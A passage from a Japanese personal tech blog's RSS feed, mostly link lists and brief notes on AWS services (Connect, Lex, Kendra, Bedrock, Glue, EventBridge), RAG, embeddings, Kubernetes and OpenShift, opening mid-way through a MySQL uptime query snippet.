&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;FROM&lt;/span&gt; performance_schema.global_status
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;WHERE&lt;/span&gt; variable_name&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#39;Uptime&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;</description></item><item><title>AWS Connect</title><link>https://hdknr.github.io/blogs/posts/2024/02/aws-connect/</link><pubDate>Thu, 15 Feb 2024 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2024/02/aws-connect/</guid><description>&lt;h1 id="aws-connect"&gt;AWS Connect&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://qiita.com/mottie/items/5d94c7d2f94beeb9c342"&gt;Amazon Connect の使い方[丁寧に解説してみた]&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="aws-pinpoint"&gt;AWS Pinpoint&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://aws.amazon.com/jp/pinpoint/"&gt;https://aws.amazon.com/jp/pinpoint/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://aws.amazon.com/jp/about-aws/whats-new/2023/11/amazon-connect-two-way-sms/"&gt;Amazon Connect が双方向の SMS のサポートを開始&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.youtube.com/watch?v=S8zcgBLCm-E"&gt;SMS Chatbot with Amazon Pinpoint, Amazon Lex, and AWS Lambda&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://pages.awscloud.com/rs/112-TZM-766/images/A3-01.pdf"&gt;Amazon Pinpoint でユーザーを掴んで離すな&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="amazon-lex"&gt;Amazon Lex&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://aws.amazon.com/jp/lex/"&gt;Amazon Lex による会話型 AI インターフェイスの構築とデプロイ&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://dev.classmethod.jp/articles/amazon-connect-escalation-to-manned-response/"&gt;AI チャットボットで問い合わせに対応し、回答が難しい内容に限り担当者にエスカレーション[Amazon Connect + Lex + Bedrock]&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://dev.classmethod.jp/articles/amazon-bedrock-claude-connect-kendra-rag/"&gt;【RAG】Amazon Bedrock と Connect、Kendra を利用し、社内情報や社外の最新情報などの取り込んだデータをもとに回答するコールセンター向け AI チャットボットを構築してみた&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://qiita.com/hayao_k/items/268c333f3f383125fd30"&gt;Amazon Lex で日本語チャットボットを作ろう&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://aws.amazon.com/jp/blogs/messaging-and-targeting/create-an-sms-chatbox-with-amazon-pinpoint-and-lex/"&gt;Create an SMS Chatbot with Amazon Pinpoint and Lex&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="amazon-kendra"&gt;Amazon Kendra&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://aws.amazon.com/jp/kendra/features/"&gt;https://aws.amazon.com/jp/kendra/features/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="その他"&gt;その他&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://dev.classmethod.jp/articles/amazon-connect-lex-three-verification/"&gt;Amazon Connect と Lex でのコールセンター向け AI チャットボットの構築において、「音声入力の最大時間」「発話の最大待機時間」「発話終了判定の最大時間」の仕様を確認してみた | DevelopersIO&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://aws.amazon.com/jp/about-aws/whats-new/2022/05/amazon-lex-supports-custom-vocabulary/"&gt;Amazon Lex でカスタム語彙のサポートを開始&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://dev.classmethod.jp/articles/amazon-connect-lex-bedrock-personal-information/"&gt;Amazon Connect + Lex + Bedrock の AI チャットボットで、発話から個人情報（名前、住所、生年月日）を正しく認識できるか試してみた | DevelopersIO&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://dev.classmethod.jp/articles/tsnote-support-amazon-connect-003/"&gt;Amazon Connect 電話番号の取得画面で「その国でお使いいただける番号はありません。」というメッセージが表示され、新規番号が取得できない場合の対処方法 | DevelopersIO&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>AWS.EventBridge: 自動停止/起動</title><link>https://hdknr.github.io/blogs/posts/2024/02/aws.eventbridge-%E8%87%AA%E5%8B%95%E5%81%9C%E6%AD%A2/%E8%B5%B7%E5%8B%95/</link><pubDate>Thu, 15 Feb 2024 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2024/02/aws.eventbridge-%E8%87%AA%E5%8B%95%E5%81%9C%E6%AD%A2/%E8%B5%B7%E5%8B%95/</guid><description>&lt;h1 id="aws-eventbrdige"&gt;AWS: EventBrdige&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://bishop.hatenadiary.com/entry/2023/04/17/112834"&gt;【AWS】 費用節約のため EC2 を夜間停止する 2023 年 4 月版【備忘録】&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://qiita.com/mksamba/items/a9cfcd0431a01863d261"&gt;【コスト削減】AWS ECS(Fargate) の夜間休日タスク停止&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://zenn.dev/minedia/articles/f661bfd1d57095"&gt;AWS Amazon EventBridge スケジューラで Amazon Aurora クラスターの稼働時間を管理する&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://mihono-bourbon.com/aws-cost-reduction-rds/"&gt;【AWS コスト削減】RDS の自動停止&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://dev.classmethod.jp/articles/eventbridge-scheduler-and-event-bridge-rule-difference/"&gt;EventBridge Scheduler と Event Bridge Rule の違いを CloudFormation から学ぶ&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://envader.plus/article/250"&gt;Terraform と EventBridge Scheduler を活用した EC2 インスタンスの時限起動によるコスト削減&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>ChatGPT: SQL 生成</title><link>https://hdknr.github.io/blogs/posts/2024/02/chatgpt-sql-%E7%94%9F%E6%88%90/</link><pubDate>Thu, 15 Feb 2024 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2024/02/chatgpt-sql-%E7%94%9F%E6%88%90/</guid><description>&lt;h1 id="chatgpt-sql-生成"&gt;ChatGPT SQL 生成&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://github.com/ademakdogan/ChatSQL"&gt;https://github.com/ademakdogan/ChatSQL&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>AWS: Kendra</title><link>https://hdknr.github.io/blogs/posts/2024/02/aws-kendra/</link><pubDate>Tue, 13 Feb 2024 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2024/02/aws-kendra/</guid><description>&lt;h1 id="aws-kendra"&gt;AWS: Kendra&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://aws.amazon.com/jp/kendra/"&gt;https://aws.amazon.com/jp/kendra/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/aws-samples/aws-genai-llm-chatbot"&gt;https://github.com/aws-samples/aws-genai-llm-chatbot&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://qiita.com/sugimount-a/items/50370d5781b634bb8d3b"&gt;Amazon Kendra を触ってみた&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://aws.amazon.com/jp/builders-flash/202302/kendra-search-system/?awsf.filter-name=*all"&gt;Amazon Kendra で簡単に検索システムを作ってみよう !&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Video:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://www.youtube.com/watch?v=iFqe0lDEq4w"&gt;Amazon Kendra による文書からの日本語セマンティック検索&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://docs.aws.amazon.com/kendra/latest/dg/hiw-data-source.html"&gt;データソース&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>k8s</title><link>https://hdknr.github.io/blogs/posts/2024/02/k8s/</link><pubDate>Tue, 13 Feb 2024 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2024/02/k8s/</guid><description>&lt;h1 id="k8s"&gt;k8s&lt;/h1&gt;
&lt;h2 id="サービスメッシュ"&gt;サービスメッシュ&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.redhat.com/ja/topics/microservices/what-is-a-service-mesh"&gt;サービスメッシュとは&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://qiita.com/mamomamo/items/92085e0e508e18bc8532"&gt;サービスメッシュについて調査してみた件&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>生成AI: RAG</title><link>https://hdknr.github.io/blogs/posts/2024/02/%E7%94%9F%E6%88%90ai-rag/</link><pubDate>Mon, 12 Feb 2024 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2024/02/%E7%94%9F%E6%88%90ai-rag/</guid><description>&lt;h1 id="rag検索拡張生成"&gt;RAG(検索拡張生成)&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;大規模な言語モデルの出力を最適化するプロセスです。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;応答を生成する前に、トレーニングデータソース以外の信頼できる知識ベースを参照します。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;大規模言語モデル (LLM) は、膨大な量のデータに基づいてトレーニングされ、何十億ものパラメーターを使用して、質問への回答、言語の翻訳、文章の完成などのタスクのためのオリジナルの出力を生成します。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;LLM の既に強力な機能を、モデルを再トレーニングすることなく、特定の分野や組織の内部ナレッジベースに拡張します。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;LLM のアウトプットを改善するための費用対効果の高いアプローチであるため、さまざまな状況で関連性、正確性、有用性を維持できます。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;外部ソースから取得した情報を用いて、生成 AI モデルの精度と信頼性を向上させるテクノロジです。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="基盤モデルfm"&gt;基盤モデル(FM)&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://aws.amazon.com/jp/what-is/foundation-models/"&gt;基盤モデルとは何ですか?&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;例:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;BERT&lt;/li&gt;
&lt;li&gt;GPT(OpenAI)&lt;/li&gt;
&lt;li&gt;Titan(Amazon)&lt;/li&gt;
&lt;li&gt;Jurassic(AI21)&lt;/li&gt;
&lt;li&gt;Claude(Anthropic)&lt;/li&gt;
&lt;li&gt;Cohere&lt;/li&gt;
&lt;li&gt;Stable Diffusion&lt;/li&gt;
&lt;li&gt;BLOOM&lt;/li&gt;
&lt;li&gt;Hugging Face&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="bedlock"&gt;Bedlock&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.insurtechlab.net/use_amazon_bedrock/"&gt;Amazon Bedrock 使ってみた&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Amazon SageMaker は機械学習の包括的なライフサイクル（構築、訓練、展開）をサポートする&lt;/li&gt;
&lt;li&gt;Bedrock は Fine-tuning は出来るものの基本的には Amazon Titan や AI スタートアップの基盤モデル（FM）を API から利用することに重きを置いています。&lt;/li&gt;
&lt;li&gt;自分たちで最初から構築したモデルでなければビジネスとして成り立たないシーンでは、Amazon Bedrock を選択してはいけません。&lt;/li&gt;
&lt;li&gt;非常に厳しいセキュリティ要件がある場合にも避けた方が良い&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>生成AI: エンべディング</title><link>https://hdknr.github.io/blogs/posts/2024/02/%E7%94%9F%E6%88%90ai-%E3%82%A8%E3%83%B3%E3%81%B9%E3%83%87%E3%82%A3%E3%83%B3%E3%82%B0/</link><pubDate>Mon, 12 Feb 2024 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2024/02/%E7%94%9F%E6%88%90ai-%E3%82%A8%E3%83%B3%E3%81%B9%E3%83%87%E3%82%A3%E3%83%B3%E3%82%B0/</guid><description>&lt;h1 id="エンベディング"&gt;エンベディング&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.fabrica-com.co.jp/techblog/technology/10099/"&gt;Embedding（エンベディング）の概念を理解してみた&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;単語や文といった自然言語の情報を、その単語や文の意味を表現するベクトル空間に配置することです。&lt;/li&gt;
&lt;li&gt;&lt;a href="https://ja.wikipedia.org/wiki/%E5%8D%98%E8%AA%9E%E3%81%AE%E5%9F%8B%E3%82%81%E8%BE%BC%E3%81%BF"&gt;単語の埋め込み(Word embedding)&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="埋め込み-数学"&gt;&lt;a href="https://ja.wikipedia.org/wiki/%E5%9F%8B%E3%82%81%E8%BE%BC%E3%81%BF_(%E6%95%B0%E5%AD%A6)"&gt;埋め込み (数学)&lt;/a&gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;数学的構造間の構造を保つような単射のこと&lt;/li&gt;
&lt;li&gt;あるルールのもとで、ユニークな入力に対してユニークがアウトプットがえられる&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="word2vec"&gt;word2vec&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://ja.wikipedia.org/wiki/Word2vec"&gt;https://ja.wikipedia.org/wiki/Word2vec&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>OpenShift</title><link>https://hdknr.github.io/blogs/posts/2024/02/openshift/</link><pubDate>Fri, 09 Feb 2024 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2024/02/openshift/</guid><description>&lt;h1 id="openshift"&gt;OpenShift&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://thinkit.co.jp/article/17788"&gt;CI/CD を使ってみよう&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://thinkit.co.jp/article/17875"&gt;サービスメッシュを使ってみよう&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="jaeger"&gt;Jaeger&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.jaegertracing.io/"&gt;https://www.jaegertracing.io/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;マイクロサービスの各サービス間の通信を専用のソフトウェアに仲介させることで、マイクロサービス特有の課題を解決する&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="cicd"&gt;CI/CD&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Jenkins(従来型) -&amp;gt; Tekton/ArgoCD(クラウドネイティブ)&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="tekton"&gt;Tekton&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://tekton.dev/"&gt;https://tekton.dev/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="argocd"&gt;ArgoCD&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://access.redhat.com/documentation/ja-jp/openshift_container_platform/4.3/html/architecture/argocd"&gt;第 7 章 OpenShift Container Platform での ArgoCD の使用&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>AWS: Bedrock: GenAI</title><link>https://hdknr.github.io/blogs/posts/2024/02/aws-bedrock-genai/</link><pubDate>Tue, 06 Feb 2024 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2024/02/aws-bedrock-genai/</guid><description>&lt;h1 id="aws-bedrock-genai"&gt;AWS: Bedrock: GenAI&lt;/h1&gt;
&lt;p&gt;&lt;a href="https://docs.aws.amazon.com/ja_jp/bedrock/latest/userguide/what-is-bedrock.html"&gt;Amazon Bedrock とは&lt;/a&gt;
&lt;a href="https://dev.classmethod.jp/articles/breaing-news-amazon-bedrock-was-released/"&gt;【速報】AWS の生成 AI サービスである Amazon Bedrock がリリースされたので朝イチで触ってみた&lt;/a&gt;
&lt;a href="https://qiita.com/nasuvitz/items/e6cabec6c000de861d22"&gt;Amazon Bedrock &amp;ldquo;Claude 2&amp;rdquo; と、ChatGPT &amp;ldquo;GPT-4&amp;rdquo; を比較してみる&lt;/a&gt;
&lt;a href="https://qiita.com/nasuvitz/items/679674d93219cfb8320d"&gt;AWS による生成 AI の新サービス「Amazon Bedrock」の可能性を考察する&lt;/a&gt;
&lt;a href="https://qiita.com/JamyJamy/items/f1d63d1c3186a0e5d7da"&gt;Amazon Bedrock でモデルごとに画像を生成してみた&lt;/a&gt;
&lt;a href="https://speakerdeck.com/icoxfog417/amazon-bedrock-nohazimefang"&gt;Bedrock のはじめかた&lt;/a&gt;
&lt;a href="https://findy-tools.io/products/amazon-bedrock/14/37"&gt;Amazon Bedrock の導入効果をレビューでご紹介（KDDI アジャイル開発センター株式会社-みのるん）&lt;/a&gt;
&lt;a href="https://aws.amazon.com/jp/blogs/machine-learning/build-generative-ai-chatbots-using-prompt-engineering-with-amazon-redshift-and-amazon-bedrock/"&gt;Build generative AI chatbots using prompt engineering with Amazon Redshift and Amazon Bedrock&lt;/a&gt;
&lt;a href="https://zenn.dev/spiralai/articles/8af7cbf526c2e1"&gt;GPT 連携アプリ開発時の必須知識、RAG をゼロから解説する。概要＆Python コード例&lt;/a&gt;
&lt;a href="https://acro-engineer.hatenablog.com/entry/2023/12/20/140000"&gt;Amazon Bedrock の Knowledge base で簡単に RAG を構築&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Github:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://github.com/aws-samples/query-structured-data-with-amazon-bedrock"&gt;Query structured data with natural language using Amazon Bedrock&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/aws-samples/amazon-bedrock-workshop"&gt;https://github.com/aws-samples/amazon-bedrock-workshop&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/aws-samples/promptus"&gt;https://github.com/aws-samples/promptus&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;API:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Boto3: &lt;a href="https://boto3.amazonaws.com/v1/documentation/api/latest/reference/services/bedrock.html"&gt;https://boto3.amazonaws.com/v1/documentation/api/latest/reference/services/bedrock.html&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;モデル&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Titan FMs&lt;/li&gt;
&lt;li&gt;Claude 2&lt;/li&gt;
&lt;li&gt;Jurassic-2 (&lt;a href="https://docs.ai21.com/docs/python-sdk-with-amazon-bedrock"&gt;Python SDK&lt;/a&gt;)&lt;/li&gt;
&lt;li&gt;Stable Diffusion&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="claude-2"&gt;Claude 2&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.sms-datatech.co.jp/column/consulting_claude2/"&gt;生成 AI の最新モデル「Claude2」とは？使い方や ChatGPT との違いについても解説&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://docs.anthropic.com/claude/reference/client-sdks"&gt;クライアント SDK&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://10000.co.jp/web/1374/"&gt;GPT-4 と Claude 2 を比較してみました&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://weel.co.jp/media/claude-2.1"&gt;【Claude 2.1】ChatGPT 超え AI の日本語での使い方や API の使用方法、GPT-4 との比較を解説&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://japan.cnet.com/article/35211912/"&gt;Anthropic、「Claude 2.1」をリリース&amp;ndash;15 万ワードに対応、幻覚も半減&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="jurassi-2"&gt;Jurassi-2&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;日本語対応していない&lt;/li&gt;
&lt;li&gt;&lt;a href="https://qiita.com/moritalous/items/13e5a918266cdcab139e"&gt;AWS の&amp;quot;推しの AI&amp;quot; 「Jurassic-2」を使ってみた！！Bedrock ローンチ前に使えるんやん！&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>AWS: Glue: ETL</title><link>https://hdknr.github.io/blogs/posts/2024/02/aws-glue-etl/</link><pubDate>Mon, 05 Feb 2024 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2024/02/aws-glue-etl/</guid><description>&lt;h1 id="glue"&gt;Glue&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://docs.aws.amazon.com/ja_jp/glue/latest/dg/what-is-glue.html"&gt;AWS Glue の概要&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;ETL(抽出、変換、ロード) パイプラインを視覚的に作成/実行&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;AWS データサービス連携:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Athena: S3 上のデータに対して、クエリ（SQL）を利用してデータの分析を行うことができるサービス&lt;/li&gt;
&lt;li&gt;EMR:(Elastic MapReduce): Hadoop, Spart の実行&lt;/li&gt;
&lt;li&gt;Redshift Spectrum(スペクトル): ReadShift から S3 をクエリ&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="主要機能"&gt;主要機能&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;データの検出と整理&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;複数のデータストアを統合して検索&lt;/li&gt;
&lt;li&gt;データを自動的に検出&lt;/li&gt;
&lt;li&gt;スキーマとアクセス許可を管理&lt;/li&gt;
&lt;li&gt;さまざまなデータソースに接続&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;分析用データの変換、準備、クリーニング&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;データを視覚的に変換&lt;/li&gt;
&lt;li&gt;シンプルなジョブスケジューリングで複雑な ETL パイプラインを構築&lt;/li&gt;
&lt;li&gt;転送中のストリーミングデータのクリーニングと変換&lt;/li&gt;
&lt;li&gt;組み込みの機械学習によるデータの重複排除とクリーニング(FindMatch)&lt;/li&gt;
&lt;li&gt;組み込みのジョブノートブック&lt;/li&gt;
&lt;li&gt;ETL コードの編集、デバッグ、テスト&lt;/li&gt;
&lt;li&gt;機密データの定義、検出、修正&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;データパイプラインの構築とモニタリング&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;自動スケーリング(ワークロードに基づく)&lt;/li&gt;
&lt;li&gt;ジョブ自動化(イベントトリガー)&lt;/li&gt;
&lt;li&gt;ジョブの実行とモニタリング(Spark, Ray, CloudTail)&lt;/li&gt;
&lt;li&gt;ETL と統合アクティビティのワークフローを定義&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="コンポーネント"&gt;コンポーネント&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;コンソール&lt;/li&gt;
&lt;li&gt;Data Catalog&lt;/li&gt;
&lt;li&gt;クローラおよび分類子&lt;/li&gt;
&lt;li&gt;ETL オペレーション&lt;/li&gt;
&lt;li&gt;ストリーミング ETL&lt;/li&gt;
&lt;li&gt;ジョブシステム&lt;/li&gt;
&lt;li&gt;ビジュアル ETL コンポーネント&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="ジョブ実行エンジン"&gt;ジョブ実行エンジン&lt;/h2&gt;
&lt;h3 id="spark-aws-glue-etl"&gt;Spark (AWS Glue ETL)&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://spark.apache.org/docs/latest/api/python/index.html"&gt;PySpark Overview&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="ray-aws-glue-for-ray"&gt;Ray (AWS Glue for Ray)&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.ray.io/"&gt;Ray&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://docs.ray.io/en/latest/data/data.html"&gt;Ray Data: Scalable Datasets for ML&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://docs.aws.amazon.com/ja_jp/glue/latest/dg/ray-jobs-section.html"&gt;AWS Glue での Ray ジョブの使用&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://docs.aws.amazon.com/glue/latest/ug/notebooks-chapter.html"&gt;AWS Glue Studio と AWS Glue でのノートブックの使用&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://docs.aws.amazon.com/ja_jp/glue/latest/dg/is-using-ray.html"&gt;AWS Glue for Ray のインタラクティブセッション (プレビュー) の開始方法&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://dev.classmethod.jp/articles/aws-glue-ray-reinvent-2022/"&gt;【プレビュー】AWS Glue で Ray が利用できるようになりました！#reinvent&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://pages.awscloud.com/rs/112-TZM-766/images/20230126_26th_ISV_DiveDeepSeminar_GlueonRay.pdf"&gt;AWS Glue on Ray ではじめるデータ分析とそのパフォーマンス&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>生成AI（ジェネレーティブAI）</title><link>https://hdknr.github.io/blogs/posts/2024/02/%E7%94%9F%E6%88%90ai%E3%82%B8%E3%82%A7%E3%83%8D%E3%83%AC%E3%83%BC%E3%83%86%E3%82%A3%E3%83%96ai/</link><pubDate>Fri, 02 Feb 2024 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2024/02/%E7%94%9F%E6%88%90ai%E3%82%B8%E3%82%A7%E3%83%8D%E3%83%AC%E3%83%BC%E3%83%86%E3%82%A3%E3%83%96ai/</guid><description>&lt;h1 id="生成-aiジェネレーティブ-aigenai"&gt;生成 AI（ジェネレーティブ AI/GenAI）&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.softbank.jp/biz/solutions/generative-ai/"&gt;Softbank&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://qiita.com/moritata9/items/f1f8538b559a007217af"&gt;データマネジメントと生成 AI&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://japan.zdnet.com/article/35205383/"&gt;Snowflake の製品管理担当幹部が考える「生成 AI×DWH」の新たな可能性&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://it.impress.co.jp/articles/-/24702"&gt;AI 活用で目指すべきは“脱 DWH” データレイクと DWH のデータを統合管理する真の“データ活用”時代の「レイクハウス」&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.meti.go.jp/press/2023/02/20240202003/20240202003.html"&gt;生成 AI の開発力強化に向けたプロジェクト「GENIAC」を開始します&lt;/a&gt; （Generative AI Accelerator Challenge）&lt;/li&gt;
&lt;li&gt;&lt;a href="https://xtech.nikkei.com/atcl/nxt/news/18/15261/"&gt;Microsoft がデータ分析基盤「Fabric」発表、DWH・AI・ストリーム分析を統合&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="プログラミングコード生成-ai"&gt;プログラミングコード生成 AI&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;GitHub Copilot&lt;/li&gt;
&lt;li&gt;Amazon CodeWhisperer&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="bigquery"&gt;BigQuery&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://developers.cyberagent.co.jp/blog/archives/45241/"&gt;総合職の新卒 1 年目が、自社のデータ構造に合わせた SQL 生成 AI を作ってみた&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://qiita.com/YoshinagaYuta/items/643b40b3600304958800"&gt;BigQuery からデータを抽出して生成 AI に分析してもらうまでが SQL で完結する手順&lt;/a&gt;&lt;/li&gt;
